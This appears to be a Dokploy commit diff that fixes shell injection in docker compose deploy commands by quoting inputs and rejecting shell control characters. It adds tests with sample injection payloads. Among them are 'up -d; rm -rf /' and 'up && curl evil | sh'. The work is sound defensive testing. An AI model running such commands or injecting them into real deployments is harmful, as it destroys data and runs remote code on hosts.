- composePath / appName are now passed through shell-quote in createCommand, getCreateEnvFileCommand and services/compose.ts deploy commands, instead of being interpolated raw into 'docker compose'/'docker stack' shell commands. - compose.command: sanitizeCommand was cosmetic (trim + strip quotes). It now rejects shell control characters (; & | ` $ () {} <> newline), which a normal docker compose CLI line never contains, blocking breakout into host commands. Closes GHSA-8r5w-vqjr-8c44, GHSA-5xv2-7f8w-9j5c, GHSA-qh6h-669j-77rw
Unified · Split
| @@ -0,0 +1,104 @@ | |||
| 1 | import { execSync } from "node:child_process"; | ||
| 2 | import { existsSync, rmSync } from "node:fs"; | ||
| 3 | import { createCommand } from "@dokploy/server/utils/builders/compose"; | ||
| 4 | import { parse, quote } from "shell-quote"; | ||
| 5 | import { describe, expect, it } from "vitest"; | ||
| 6 | |||
| 7 | const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`; | ||
| 8 | |||
| 9 | const base = { | ||
| 10 | composeType: "docker-compose" as const, | ||
| 11 | appName: "compose-app", | ||
| 12 | sourceType: "raw" as const, | ||
| 13 | command: "", | ||
| 14 | composePath: "docker-compose.yml", | ||
| 15 | }; | ||
| 16 | |||
| 17 | // createCommand output is interpolated as `docker ${command}` at the deploy | ||
| 18 | // sink; run `: ${command}` (docker -> no-op) and assert no injection fires. | ||
| 19 | const runsSafely = (command: string) => { | ||
| 20 | if (existsSync(MARK)) rmSync(MARK); | ||
| 21 | try { | ||
| 22 | execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" }); | ||
| 23 | } catch {} | ||
| 24 | const fired = existsSync(MARK); | ||
| 25 | if (existsSync(MARK)) rmSync(MARK); | ||
| 26 | return !fired; | ||
| 27 | }; | ||
| 28 | |||
| 29 | const PAYLOADS = [ | ||
| 30 | `$(touch ${MARK})`, | ||
| 31 | "`touch " + MARK + "`", | ||
| 32 | `x; touch ${MARK}`, | ||
| 33 | `x | touch ${MARK}`, | ||
| 34 | ]; | ||
| 35 | |||
| 36 | describe("compose createCommand injection", () => { | ||
| 37 | it("escapes composePath (docker-compose)", () => { | ||
| 38 | for (const p of PAYLOADS) { | ||
| 39 | const cmd = createCommand({ | ||
| 40 | ...base, | ||
| 41 | sourceType: "github", | ||
| 42 | composePath: p, | ||
| 43 | } as any); | ||
| 44 | expect(runsSafely(cmd)).toBe(true); | ||
| 45 | } | ||
| 46 | }); | ||
| 47 | |||
| 48 | it("escapes composePath (stack deploy)", () => { | ||
| 49 | for (const p of PAYLOADS) { | ||
| 50 | const cmd = createCommand({ | ||
| 51 | ...base, | ||
| 52 | composeType: "stack", | ||
| 53 | sourceType: "github", | ||
| 54 | composePath: p, | ||
| 55 | } as any); | ||
| 56 | expect(runsSafely(cmd)).toBe(true); | ||
| 57 | } | ||
| 58 | }); | ||
| 59 | |||
| 60 | it("escapes appName", () => { | ||
| 61 | for (const p of PAYLOADS) { | ||
| 62 | const cmd = createCommand({ | ||
| 63 | ...base, | ||
| 64 | sourceType: "github", | ||
| 65 | appName: p, | ||
| 66 | composePath: "docker-compose.yml", | ||
| 67 | } as any); | ||
| 68 | expect(runsSafely(cmd)).toBe(true); | ||
| 69 | } | ||
| 70 | }); | ||
| 71 | |||
| 72 | it("rejects a custom command containing shell control characters", () => { | ||
| 73 | for (const bad of [ | ||
| 74 | "up -d; rm -rf /", | ||
| 75 | "up && curl evil | sh", | ||
| 76 | "up $(touch x)", | ||
| 77 | "up `id`", | ||
| 78 | ]) { | ||
| 79 | expect(() => | ||
| 80 | createCommand({ ...base, command: bad } as any), | ||
| 81 | ).toThrow(/Invalid characters/); | ||
| 82 | } | ||
| 83 | }); | ||
| 84 | |||
| 85 | it("allows a legitimate custom command", () => { | ||
| 86 | const cmd = createCommand({ | ||
| 87 | ...base, | ||
| 88 | command: "compose -f docker-compose.yml -p app up -d --build", | ||
| 89 | } as any); | ||
| 90 | expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build"); | ||
| 91 | }); | ||
| 92 | |||
| 93 | it("keeps a legitimate composePath intact", () => { | ||
| 94 | const cmd = createCommand({ | ||
| 95 | ...base, | ||
| 96 | sourceType: "github", | ||
| 97 | composePath: "deploy/docker-compose.prod.yml", | ||
| 98 | } as any); | ||
| 99 | expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml"); | ||
| 100 | expect(quote(["deploy/docker-compose.prod.yml"])).toBe( | ||
| 101 | "deploy/docker-compose.prod.yml", | ||
| 102 | ); | ||
| 103 | }); | ||
| 104 | }); | ||
| @@ -33,6 +33,7 @@ import { cloneGitlabRepository } from "@dokploy/server/utils/providers/gitlab"; · 32 unmodified lines | |||
| 33 | import { getCreateComposeFileCommand } from "@dokploy/server/utils/providers/raw"; | 33 | import { getCreateComposeFileCommand } from "@dokploy/server/utils/providers/raw"; |
| 34 | import { TRPCError } from "@trpc/server"; | 34 | import { TRPCError } from "@trpc/server"; |
| 35 | import { eq } from "drizzle-orm"; | 35 | import { eq } from "drizzle-orm"; |
| 36 | import { quote } from "shell-quote"; | ||
| 36 | import type { z } from "zod"; | 37 | import type { z } from "zod"; |
| 37 | import { encodeBase64 } from "../utils/docker/utils"; | 38 | import { encodeBase64 } from "../utils/docker/utils"; |
| 38 | import { getDokployUrl } from "./admin"; | 39 | import { getDokployUrl } from "./admin"; |
| @@ -472,7 +473,7 @@ export const startCompose = async (composeId: string) => { · 433 unmodified lines | |||
| 472 | const projectPath = join(COMPOSE_PATH, compose.appName, "code"); | 473 | const projectPath = join(COMPOSE_PATH, compose.appName, "code"); |
| 473 | const path = | 474 | const path = |
| 474 | compose.sourceType === "raw" ? "docker-compose.yml" : compose.composePath; | 475 | compose.sourceType === "raw" ? "docker-compose.yml" : compose.composePath; |
| 475 | const baseCommand = `env -i PATH="$PATH" docker compose -p ${compose.appName} -f ${path} up -d`; | 476 | const baseCommand = `env -i PATH="$PATH" docker compose -p ${quote([compose.appName])} -f ${quote([path])} up -d`; |
| 476 | if (compose.composeType === "docker-compose") { | 477 | if (compose.composeType === "docker-compose") { |
| 477 | if (compose.serverId) { | 478 | if (compose.serverId) { |
| 478 | await execAsyncRemote( | 479 | await execAsyncRemote( |
| @@ -67,9 +67,20 @@ Compose Type: ${composeType} ✅`; · 66 unmodified lines | |||
| 67 | return bashCommand; | 67 | return bashCommand; |
| 68 | }; | 68 | }; |
| 69 | 69 | ||
| 70 | // Shell control characters that must never appear in a user-provided compose | ||
| 71 | // command: they would let it break out of the `docker ${command}` invocation | ||
| 72 | // into arbitrary host commands. A normal docker compose CLI line never needs them. | ||
| 73 | const UNSAFE_COMPOSE_COMMAND = /[;&|`$(){}<>\n\\]/; | ||
| 74 | |||
| 70 | const sanitizeCommand = (command: string) => { | 75 | const sanitizeCommand = (command: string) => { |
| 71 | const sanitizedCommand = command.trim(); | 76 | const sanitizedCommand = command.trim(); |
| 72 | 77 | ||
| 78 | if (UNSAFE_COMPOSE_COMMAND.test(sanitizedCommand)) { | ||
| 79 | throw new Error( | ||
| 80 | "Invalid characters in compose command: shell control characters are not allowed", | ||
| 81 | ); | ||
| 82 | } | ||
| 83 | |||
| 73 | const parts = sanitizedCommand.split(/\s+/); | 84 | const parts = sanitizedCommand.split(/\s+/); |
| 74 | 85 | ||
| 75 | const restCommand = parts.map((arg) => arg.replace(/^"(.*)"$/, "$1")); | 86 | const restCommand = parts.map((arg) => arg.replace(/^"(.*)"$/, "$1")); |
| @@ -88,9 +99,9 @@ export const createCommand = (compose: ComposeNested) => { · 12 unmodified lines | |||
| 88 | let command = ""; | 99 | let command = ""; |
| 89 | 100 | ||
| 90 | if (composeType === "docker-compose") { | 101 | if (composeType === "docker-compose") { |
| 91 | command = `compose -p ${appName} -f ${path} up -d --build --remove-orphans`; | 102 | command = `compose -p ${quote([appName])} -f ${quote([path])} up -d --build --remove-orphans`; |
| 92 | } else if (composeType === "stack") { | 103 | } else if (composeType === "stack") { |
| 93 | command = `stack deploy -c ${path} ${appName} --prune --with-registry-auth`; | 104 | command = `stack deploy -c ${quote([path])} ${quote([appName])} --prune --with-registry-auth`; |
| 94 | } | 105 | } |
| 95 | 106 | ||
| 96 | return command; | 107 | return command; |
| @@ -124,8 +135,8 @@ export const getCreateEnvFileCommand = (compose: ComposeNested) => { · 27 unmodified lines | |||
| 124 | 135 | ||
| 125 | const encodedContent = encodeBase64(envFileContent); | 136 | const encodedContent = encodeBase64(envFileContent); |
| 126 | return ` | 137 | return ` |
| 127 | touch ${envFilePath}; | 138 | touch ${quote([envFilePath])}; |
| 128 | echo "${encodedContent}" | base64 -d > "${envFilePath}"; | 139 | echo "${encodedContent}" | base64 -d > ${quote([envFilePath])}; |
| 129 | `; | 140 | `; |
| 130 | }; | 141 | }; |
| 131 | 142 | ||